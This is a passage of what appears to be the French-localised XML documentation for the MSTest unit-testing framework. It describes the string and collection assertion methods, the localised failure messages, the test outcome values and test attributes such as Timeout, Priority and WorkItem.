- - - - - Teste si la chaîne indiquée commence par la sous-chaîne spécifiée - et lève une exception si la chaîne de test ne commence pas par la - sous-chaîne. - - - Chaîne censée commencer par . - - - Chaîne censée être un préfixe de . - - - Message à inclure dans l'exception quand - ne commence pas par . Le message - s'affiche dans les résultats des tests. - - - Thrown if does not begin with - . - - - - - Teste si la chaîne indiquée commence par la sous-chaîne spécifiée - et lève une exception si la chaîne de test ne commence pas par la - sous-chaîne. - - - Chaîne censée commencer par . - - - Chaîne censée être un préfixe de . - - - Message à inclure dans l'exception quand - ne commence pas par . Le message - s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if does not begin with - . - - - - - Teste si la chaîne indiquée finit par la sous-chaîne spécifiée - et lève une exception si la chaîne de test ne finit pas par la - sous-chaîne. - - - Chaîne censée finir par . - - - Chaîne censée être un suffixe de . - - - Thrown if does not end with - . - - - - - Teste si la chaîne indiquée finit par la sous-chaîne spécifiée - et lève une exception si la chaîne de test ne finit pas par la - sous-chaîne. - - - Chaîne censée finir par . - - - Chaîne censée être un suffixe de . - - - Message à inclure dans l'exception quand - ne finit pas par . Le message - s'affiche dans les résultats des tests. - - - Thrown if does not end with - . - - - - - Teste si la chaîne indiquée finit par la sous-chaîne spécifiée - et lève une exception si la chaîne de test ne finit pas par la - sous-chaîne. - - - Chaîne censée finir par . - - - Chaîne censée être un suffixe de . - - - Message à inclure dans l'exception quand - ne finit pas par . Le message - s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if does not end with - . - - - - - Teste si la chaîne spécifiée correspond à une expression régulière, et - lève une exception si la chaîne ne correspond pas à l'expression. - - - Chaîne censée correspondre à . - - - Expression régulière qui est - censé correspondre. - - - Thrown if does not match - . - - - - - Teste si la chaîne spécifiée correspond à une expression régulière, et - lève une exception si la chaîne ne correspond pas à l'expression. - - - Chaîne censée correspondre à . - - - Expression régulière qui est - censé correspondre. - - - Message à inclure dans l'exception quand - ne correspond pas . Le message s'affiche dans - les résultats des tests. - - - Thrown if does not match - . - - - - - Teste si la chaîne spécifiée correspond à une expression régulière, et - lève une exception si la chaîne ne correspond pas à l'expression. - - - Chaîne censée correspondre à . - - - Expression régulière qui est - censé correspondre. - - - Message à inclure dans l'exception quand - ne correspond pas . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if does not match - . - - - - - Teste si la chaîne spécifiée ne correspond pas à une expression régulière - et lève une exception si la chaîne correspond à l'expression. - - - Chaîne censée ne pas correspondre à . - - - Expression régulière qui est - censé ne pas correspondre. - - - Thrown if matches . - - - - - Teste si la chaîne spécifiée ne correspond pas à une expression régulière - et lève une exception si la chaîne correspond à l'expression. - - - Chaîne censée ne pas correspondre à . - - - Expression régulière qui est - censé ne pas correspondre. - - - Message à inclure dans l'exception quand - correspond à . Le message s'affiche dans les - résultats des tests. - - - Thrown if matches . - - - - - Teste si la chaîne spécifiée ne correspond pas à une expression régulière - et lève une exception si la chaîne correspond à l'expression. - - - Chaîne censée ne pas correspondre à . - - - Expression régulière qui est - censé ne pas correspondre. - - - Message à inclure dans l'exception quand - correspond à . Le message s'affiche dans les - résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if matches . - - - - - Collection de classes d'assistance permettant de tester diverses conditions associées - à des collections dans les tests unitaires. Si la condition testée n'est pas - remplie, une exception est levée. - - - - - Obtient l'instance singleton de la fonctionnalité CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Teste si la collection indiquée contient l'élément spécifié - et lève une exception si l'élément n'est pas dans la collection. - - - Collection dans laquelle rechercher l'élément. - - - Élément censé se trouver dans la collection. - - - Thrown if is not found in - . - - - - - Teste si la collection indiquée contient l'élément spécifié - et lève une exception si l'élément n'est pas dans la collection. - - - Collection dans laquelle rechercher l'élément. - - - Élément censé se trouver dans la collection. - - - Message à inclure dans l'exception quand - n'est pas dans . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not found in - . - - - - - Teste si la collection indiquée contient l'élément spécifié - et lève une exception si l'élément n'est pas dans la collection. - - - Collection dans laquelle rechercher l'élément. - - - Élément censé se trouver dans la collection. - - - Message à inclure dans l'exception quand - n'est pas dans . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not found in - . - - - - - Teste si la collection indiquée ne contient pas l'élément spécifié - et lève une exception si l'élément est dans la collection. - - - Collection dans laquelle rechercher l'élément. - - - Élément censé ne pas se trouver dans la collection. - - - Thrown if is found in - . - - - - - Teste si la collection indiquée ne contient pas l'élément spécifié - et lève une exception si l'élément est dans la collection. - - - Collection dans laquelle rechercher l'élément. - - - Élément censé ne pas se trouver dans la collection. - - - Message à inclure dans l'exception quand - est dans . Le message s'affiche dans les - résultats des tests. - - - Thrown if is found in - . - - - - - Teste si la collection indiquée ne contient pas l'élément spécifié - et lève une exception si l'élément est dans la collection. - - - Collection dans laquelle rechercher l'élément. - - - Élément censé ne pas se trouver dans la collection. - - - Message à inclure dans l'exception quand - est dans . Le message s'affiche dans les - résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is found in - . - - - - - Teste si tous les éléments de la collection spécifiée ont des valeurs non null, et lève - une exception si un élément a une valeur null. - - - Collection dans laquelle rechercher les éléments ayant une valeur null. - - - Thrown if a null element is found in . - - - - - Teste si tous les éléments de la collection spécifiée ont des valeurs non null, et lève - une exception si un élément a une valeur null. - - - Collection dans laquelle rechercher les éléments ayant une valeur null. - - - Message à inclure dans l'exception quand - contient un élément ayant une valeur null. Le message s'affiche dans les résultats des tests. - - - Thrown if a null element is found in . - - - - - Teste si tous les éléments de la collection spécifiée ont des valeurs non null, et lève - une exception si un élément a une valeur null. - - - Collection dans laquelle rechercher les éléments ayant une valeur null. - - - Message à inclure dans l'exception quand - contient un élément ayant une valeur null. Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if a null element is found in . - - - - - Teste si tous les éléments de la collection spécifiée sont uniques ou non, et - lève une exception si deux éléments de la collection sont identiques. - - - Collection dans laquelle rechercher les éléments dupliqués. - - - Thrown if a two or more equal elements are found in - . - - - - - Teste si tous les éléments de la collection spécifiée sont uniques ou non, et - lève une exception si deux éléments de la collection sont identiques. - - - Collection dans laquelle rechercher les éléments dupliqués. - - - Message à inclure dans l'exception quand - contient au moins un élément dupliqué. Le message s'affiche dans - les résultats des tests. - - - Thrown if a two or more equal elements are found in - . - - - - - Teste si tous les éléments de la collection spécifiée sont uniques ou non, et - lève une exception si deux éléments de la collection sont identiques. - - - Collection dans laquelle rechercher les éléments dupliqués. - - - Message à inclure dans l'exception quand - contient au moins un élément dupliqué. Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if a two or more equal elements are found in - . - - - - - Teste si une collection est un sous-ensemble d'une autre collection et - lève une exception si un élément du sous-ensemble ne se trouve pas également dans le - sur-ensemble. - - - Collection censée être un sous-ensemble de . - - - Collection censée être un sur-ensemble de - - - Thrown if an element in is not found in - . - - - - - Teste si une collection est un sous-ensemble d'une autre collection et - lève une exception si un élément du sous-ensemble ne se trouve pas également dans le - sur-ensemble. - - - Collection censée être un sous-ensemble de . - - - Collection censée être un sur-ensemble de - - - Message à inclure dans l'exception quand un élément présent dans - est introuvable dans . - Le message s'affiche dans les résultats des tests. - - - Thrown if an element in is not found in - . - - - - - Teste si une collection est un sous-ensemble d'une autre collection et - lève une exception si un élément du sous-ensemble ne se trouve pas également dans le - sur-ensemble. - - - Collection censée être un sous-ensemble de . - - - Collection censée être un sur-ensemble de - - - Message à inclure dans l'exception quand un élément présent dans - est introuvable dans . - Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if an element in is not found in - . - - - - - Teste si une collection n'est pas un sous-ensemble d'une autre collection et - lève une exception si tous les éléments du sous-ensemble se trouvent également dans le - sur-ensemble. - - - Collection censée ne pas être un sous-ensemble de . - - - Collection censée ne pas être un sur-ensemble de - - - Thrown if every element in is also found in - . - - - - - Teste si une collection n'est pas un sous-ensemble d'une autre collection et - lève une exception si tous les éléments du sous-ensemble se trouvent également dans le - sur-ensemble. - - - Collection censée ne pas être un sous-ensemble de . - - - Collection censée ne pas être un sur-ensemble de - - - Message à inclure dans l'exception quand chaque élément présent dans - est également trouvé dans . - Le message s'affiche dans les résultats des tests. - - - Thrown if every element in is also found in - . - - - - - Teste si une collection n'est pas un sous-ensemble d'une autre collection et - lève une exception si tous les éléments du sous-ensemble se trouvent également dans le - sur-ensemble. - - - Collection censée ne pas être un sous-ensemble de . - - - Collection censée ne pas être un sur-ensemble de - - - Message à inclure dans l'exception quand chaque élément présent dans - est également trouvé dans . - Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if every element in is also found in - . - - - - - Teste si deux collections contiennent les mêmes éléments, et lève une - exception si l'une des collections contient un élément non présent dans l'autre - collection. - - - Première collection à comparer. Ceci contient les éléments que le test - attend. - - - Seconde collection à comparer. Il s'agit de la collection produite par - le code testé. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Teste si deux collections contiennent les mêmes éléments, et lève une - exception si l'une des collections contient un élément non présent dans l'autre - collection. - - - Première collection à comparer. Ceci contient les éléments que le test - attend. - - - Seconde collection à comparer. Il s'agit de la collection produite par - le code testé. - - - Message à inclure dans l'exception quand un élément est trouvé - dans l'une des collections mais pas l'autre. Le message s'affiche - dans les résultats des tests. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Teste si deux collections contiennent les mêmes éléments, et lève une - exception si l'une des collections contient un élément non présent dans l'autre - collection. - - - Première collection à comparer. Ceci contient les éléments que le test - attend. - - - Seconde collection à comparer. Il s'agit de la collection produite par - le code testé. - - - Message à inclure dans l'exception quand un élément est trouvé - dans l'une des collections mais pas l'autre. Le message s'affiche - dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Teste si deux collections contiennent des éléments distincts, et lève une - exception si les deux collections contiennent des éléments identiques, indépendamment - de l'ordre. - - - Première collection à comparer. Ceci contient les éléments que le test - est censé différencier des éléments de la collection réelle. - - - Seconde collection à comparer. Il s'agit de la collection produite par - le code testé. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Teste si deux collections contiennent des éléments distincts, et lève une - exception si les deux collections contiennent des éléments identiques, indépendamment - de l'ordre. - - - Première collection à comparer. Ceci contient les éléments que le test - est censé différencier des éléments de la collection réelle. - - - Seconde collection à comparer. Il s'agit de la collection produite par - le code testé. - - - Message à inclure dans l'exception quand - contient les mêmes éléments que . Le message - s'affiche dans les résultats des tests. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Teste si deux collections contiennent des éléments distincts, et lève une - exception si les deux collections contiennent des éléments identiques, indépendamment - de l'ordre. - - - Première collection à comparer. Ceci contient les éléments que le test - est censé différencier des éléments de la collection réelle. - - - Seconde collection à comparer. Il s'agit de la collection produite par - le code testé. - - - Message à inclure dans l'exception quand - contient les mêmes éléments que . Le message - s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Teste si tous les éléments de la collection spécifiée sont des instances - du type attendu, et lève une exception si le type attendu - n'est pas dans la hiérarchie d'héritage d'un ou de plusieurs éléments. - - - Collection contenant des éléments que le test considère comme étant - du type spécifié. - - - Type attendu de chaque élément de . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Teste si tous les éléments de la collection spécifiée sont des instances - du type attendu, et lève une exception si le type attendu - n'est pas dans la hiérarchie d'héritage d'un ou de plusieurs éléments. - - - Collection contenant des éléments que le test considère comme étant - du type spécifié. - - - Type attendu de chaque élément de . - - - Message à inclure dans l'exception quand un élément présent dans - n'est pas une instance de - . Le message s'affiche dans les résultats des tests. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Teste si tous les éléments de la collection spécifiée sont des instances - du type attendu, et lève une exception si le type attendu - n'est pas dans la hiérarchie d'héritage d'un ou de plusieurs éléments. - - - Collection contenant des éléments que le test considère comme étant - du type spécifié. - - - Type attendu de chaque élément de . - - - Message à inclure dans l'exception quand un élément présent dans - n'est pas une instance de - . Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Teste si les collections spécifiées sont égales entre elles, et lève une exception - si les deux collections ne sont pas égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection attendue par les tests. - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Thrown if is not equal to - . - - - - - Teste si les collections spécifiées sont égales entre elles, et lève une exception - si les deux collections ne sont pas égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection attendue par les tests. - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not equal to - . - - - - - Teste si les collections spécifiées sont égales entre elles, et lève une exception - si les deux collections ne sont pas égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection attendue par les tests. - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to - . - - - - - Teste si les collections spécifiées sont différentes, et lève une exception - si les deux collections sont égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection à laquelle les tests sont censés - ne pas correspondre . - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Thrown if is equal to . - - - - - Teste si les collections spécifiées sont différentes, et lève une exception - si les deux collections sont égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection à laquelle les tests sont censés - ne pas correspondre . - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les collections spécifiées sont différentes, et lève une exception - si les deux collections sont égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection à laquelle les tests sont censés - ne pas correspondre . - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si les collections spécifiées sont égales entre elles, et lève une exception - si les deux collections ne sont pas égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection attendue par les tests. - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Implémentation de comparaison à utiliser durant la comparaison d'éléments de la collection. - - - Thrown if is not equal to - . - - - - - Teste si les collections spécifiées sont égales entre elles, et lève une exception - si les deux collections ne sont pas égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection attendue par les tests. - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Implémentation de comparaison à utiliser durant la comparaison d'éléments de la collection. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not equal to - . - - - - - Teste si les collections spécifiées sont égales entre elles, et lève une exception - si les deux collections ne sont pas égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection attendue par les tests. - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Implémentation de comparaison à utiliser durant la comparaison d'éléments de la collection. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to - . - - - - - Teste si les collections spécifiées sont différentes, et lève une exception - si les deux collections sont égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection à laquelle les tests sont censés - ne pas correspondre . - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Implémentation de comparaison à utiliser durant la comparaison d'éléments de la collection. - - - Thrown if is equal to . - - - - - Teste si les collections spécifiées sont différentes, et lève une exception - si les deux collections sont égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection à laquelle les tests sont censés - ne pas correspondre . - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Implémentation de comparaison à utiliser durant la comparaison d'éléments de la collection. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les collections spécifiées sont différentes, et lève une exception - si les deux collections sont égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection à laquelle les tests sont censés - ne pas correspondre . - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Implémentation de comparaison à utiliser durant la comparaison d'éléments de la collection. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Détermine si la première collection est un sous-ensemble de la seconde - collection. Si l'un des deux ensembles contient des éléments dupliqués, le nombre - d'occurrences de l'élément dans le sous-ensemble doit être inférieur ou - égal au nombre d'occurrences dans le sur-ensemble. - - - Collection dans laquelle le test est censé être contenu . - - - Collection que le test est censé contenir . - - - True si est un sous-ensemble de - , sinon false. - - - - - Construit un dictionnaire contenant le nombre d'occurrences de chaque - élément dans la collection spécifiée. - - - Collection à traiter. - - - Nombre d'éléments de valeur null dans la collection. - - - Dictionnaire contenant le nombre d'occurrences de chaque élément - dans la collection spécifiée. - - - - - Recherche un élément incompatible parmi les deux collections. Un élément incompatible - est un élément qui n'apparaît pas avec la même fréquence dans la - collection attendue et dans la collection réelle. Les - collections sont supposées être des références non null distinctes ayant le - même nombre d'éléments. L'appelant est responsable de ce niveau de - vérification. S'il n'existe aucun élément incompatible, la fonction retourne - la valeur false et les paramètres out ne doivent pas être utilisés. - - - Première collection à comparer. - - - Seconde collection à comparer. - - - Nombre attendu d'occurrences de - ou 0, s'il n'y a aucune incompatibilité - des éléments. - - - Nombre réel d'occurrences de - ou 0, s'il n'y a aucune incompatibilité - des éléments. - - - Élément incompatible (pouvant avoir une valeur null), ou valeur null s'il n'existe aucun - élément incompatible. - - - true si un élément incompatible est trouvé ; sinon, false. - - - - - compare les objets via object.Equals - - - - - Classe de base pour les exceptions de framework. - - - - - Initialise une nouvelle instance de la classe . - - - - - Initialise une nouvelle instance de la classe . - - Message. - Exception. - - - - Initialise une nouvelle instance de la classe . - - Message. - - - - Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées. - - - - - Retourne l'instance ResourceManager mise en cache utilisée par cette classe. - - - - - Remplace la propriété CurrentUICulture du thread actuel pour toutes - les recherches de ressources à l'aide de cette classe de ressource fortement typée. - - - - - Recherche une chaîne localisée semblable à celle-ci : La chaîne Access comporte une syntaxe non valide. - - - - - Recherche une chaîne localisée semblable à celle-ci : La collection attendue contient {1} occurrence(s) de <{2}>. La collection réelle contient {3} occurrence(s). {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Un élément dupliqué a été trouvé : <{1}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Attendu : <{1}>. La casse est différente pour la valeur réelle : <{2}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Différence attendue non supérieure à <{3}> comprise entre la valeur attendue <{1}> et la valeur réelle <{2}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Attendu : <{1} ({2})>. Réel : <{3} ({4})>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Attendu : <{1}>. Réel : <{2}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Différence attendue supérieure à <{3}> comprise entre la valeur attendue <{1}> et la valeur réelle <{2}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Toute valeur attendue sauf : <{1}>. Réel : <{2}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Ne passez pas de types valeur à AreSame(). Les valeurs converties en Object ne seront plus jamais les mêmes. Si possible, utilisez AreEqual(). {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Échec de {0}. {1}. - - - - - Recherche une chaîne localisée semblable à celle-ci : async TestMethod utilisé avec UITestMethodAttribute n'est pas pris en charge. Supprimez async ou utilisez TestMethodAttribute. - - - - - Recherche une chaîne localisée semblable à celle-ci : Les deux collections sont vides. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Les deux collections contiennent des éléments identiques. - - - - - Recherche une chaîne localisée semblable à celle-ci : Les deux collections Reference pointent vers le même objet Collection. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Les deux collections contiennent les mêmes éléments. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : {0}({1}). - - - - - Recherche une chaîne localisée semblable à celle-ci : (null). - - - - - Recherche une chaîne localisée semblable à celle-ci : (objet). - - - - - Recherche une chaîne localisée semblable à celle-ci : La chaîne '{0}' ne contient pas la chaîne '{1}'. {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : {0} ({1}). - - - - - Recherche une chaîne localisée semblable à celle-ci : Assert.Equals ne doit pas être utilisé pour les assertions. Utilisez Assert.AreEqual et des surcharges à la place. - - - - - Recherche une chaîne localisée semblable à celle-ci : Le nombre d'éléments dans les collections ne correspond pas. Attendu : <{1}>. Réel : <{2}>.{0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Les éléments à l'index {0} ne correspondent pas. - - - - - Recherche une chaîne localisée semblable à celle-ci : L'élément à l'index {1} n'est pas du type attendu. Type attendu : <{2}>. Type réel : <{3}>.{0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : L'élément à l'index {1} est (null). Type attendu : <{2}>.{0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : La chaîne '{0}' ne se termine pas par la chaîne '{1}'. {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Argument non valide - EqualsTester ne peut pas utiliser de valeurs null. - - - - - Recherche une chaîne localisée semblable à celle-ci : Impossible de convertir un objet de type {0} en {1}. - - - - - Recherche une chaîne localisée semblable à celle-ci : L'objet interne référencé n'est plus valide. - - - - - Recherche une chaîne localisée semblable à celle-ci : Le paramètre '{0}' est non valide. {1}. - - - - - Recherche une chaîne localisée semblable à celle-ci : La propriété {0} a le type {1} ; type attendu {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : {0} Type attendu : <{1}>. Type réel : <{2}>. - - - - - Recherche une chaîne localisée semblable à celle-ci : La chaîne '{0}' ne correspond pas au modèle '{1}'. {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Type incorrect : <{1}>. Type réel : <{2}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : La chaîne '{0}' correspond au modèle '{1}'. {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Aucun DataRowAttribute spécifié. Au moins un DataRowAttribute est nécessaire avec DataTestMethodAttribute. - - - - - Recherche une chaîne localisée semblable à celle-ci : Aucune exception levée. Exception {1} attendue. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Le paramètre '{0}' est non valide. La valeur ne peut pas être null. {1}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Nombre d'éléments différent. - - - - - Recherche une chaîne localisée semblable à celle-ci : - Le constructeur doté de la signature spécifiée est introuvable. Vous devrez peut-être régénérer votre accesseur private, - ou le membre est peut-être private et défini sur une classe de base. Si le dernier cas est vrai, vous devez transmettre le type - qui définit le membre dans le constructeur de PrivateObject. - . - - - - - Recherche une chaîne localisée semblable à celle-ci : - Le membre spécifié ({0}) est introuvable. Vous devrez peut-être régénérer votre accesseur private, - ou le membre est peut-être private et défini sur une classe de base. Si le dernier cas est vrai, vous devez transmettre le type - qui définit le membre dans le constructeur de PrivateObject. - . - - - - - Recherche une chaîne localisée semblable à celle-ci : La chaîne '{0}' ne commence pas par la chaîne '{1}'. {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Le type de l'exception attendue doit être System.Exception ou un type dérivé de System.Exception. - - - - - Recherche une chaîne localisée semblable à celle-ci : (Échec de la réception du message pour une exception de type {0} en raison d'une exception.). - - - - - Recherche une chaîne localisée semblable à celle-ci : La méthode de test n'a pas levé l'exception attendue {0}. {1}. - - - - - Recherche une chaîne localisée semblable à celle-ci : La méthode de test n'a pas levé d'exception. Une exception était attendue par l'attribut {0} défini sur la méthode de test. - - - - - Recherche une chaîne localisée semblable à celle-ci : La méthode de test a levé l'exception {0}, mais l'exception {1} était attendue. Message d'exception : {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : La méthode de test a levé l'exception {0}, mais l'exception {1} (ou un type dérivé de cette dernière) était attendue. Message d'exception : {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : L'exception {2} a été levée, mais l'exception {1} était attendue. {0} - Message d'exception : {3} - Arborescence des appels de procédure : {4}. - - - - - résultats du test unitaire - - - - - Le test a été exécuté mais des problèmes se sont produits. - Il peut s'agir de problèmes liés à des exceptions ou des échecs d'assertion. - - - - - Test effectué, mais nous ne pouvons pas dire s'il s'agit d'une réussite ou d'un échec. - Utilisable éventuellement pour les tests abandonnés. - - - - - Le test a été exécuté sans problème. - - - - - Le test est en cours d'exécution. - - - - - Une erreur système s'est produite pendant que nous tentions d'exécuter un test. - - - - - Délai d'expiration du test. - - - - - Test abandonné par l'utilisateur. - - - - - Le test est dans un état inconnu - - - - - Fournit une fonctionnalité d'assistance pour le framework de tests unitaires - - - - - Obtient les messages d'exception, notamment les messages de toutes les exceptions internes - de manière récursive - - Exception pour laquelle les messages sont obtenus - chaîne avec les informations du message d'erreur - - - - Énumération des délais d'expiration, qui peut être utilisée avec la classe . - Le type de l'énumération doit correspondre - - - - - Infini. - - - - - Attribut de la classe de test. - - - - - Obtient un attribut de méthode de test qui permet d'exécuter ce test. - - Instance d'attribut de méthode de test définie sur cette méthode. - Le à utiliser pour exécuter ce test. - Extensions can override this method to customize how all methods in a class are run. - - - - Attribut de la méthode de test. - - - - - Exécute une méthode de test. - - Méthode de test à exécuter. - Tableau d'objets TestResult qui représentent le ou les résultats du test. - Extensions can override this method to customize running a TestMethod. - - - - Attribut d'initialisation du test. - - - - - Attribut de nettoyage du test. - - - - - Attribut ignore. - - - - - Attribut de la propriété de test. - - - - - Initialise une nouvelle instance de la classe . - - - Nom. - - - Valeur. - - - - - Obtient le nom. - - - - - Obtient la valeur. - - - - - Attribut d'initialisation de la classe. - - - - - Attribut de nettoyage de la classe. - - - - - Attribut d'initialisation de l'assembly. - - - - - Attribut de nettoyage de l'assembly. - - - - - Propriétaire du test - - - - - Initialise une nouvelle instance de la classe . - - - Propriétaire. - - - - - Obtient le propriétaire. - - - - - Attribut Priority utilisé pour spécifier la priorité d'un test unitaire. - - - - - Initialise une nouvelle instance de la classe . - - - Priorité. - - - - - Obtient la priorité. - - - - - Description du test - - - - - Initialise une nouvelle instance de la classe pour décrire un test. - - Description. - - - - Obtient la description d'un test. - - - - - URI de structure de projet CSS - - - - - Initialise une nouvelle instance de la classe pour l'URI de structure de projet CSS. - - URI de structure de projet CSS. - - - - Obtient l'URI de structure de projet CSS. - - - - - URI d'itération CSS - - - - - Initialise une nouvelle instance de la classe pour l'URI d'itération CSS. - - URI d'itération CSS. - - - - Obtient l'URI d'itération CSS. - - - - - Attribut WorkItem permettant de spécifier un élément de travail associé à ce test. - - - - - Initialise une nouvelle instance de la classe pour l'attribut WorkItem. - - ID d'un élément de travail. - - - - Obtient l'ID d'un élément de travail associé. - - - - - Attribut Timeout utilisé pour spécifier le délai d'expiration d'un test unitaire. - - - - - Initialise une nouvelle instance de la classe . - - - Délai d'expiration. - - - - - Initialise une nouvelle instance de la classe avec un délai d'expiration prédéfini - - - Délai d'expiration - - - - - Obtient le délai d'attente. - - - - - Objet TestResult à retourner à l'adaptateur. - - - - - Initialise une nouvelle instance de la classe . - - - - - Obtient ou définit le nom d'affichage du 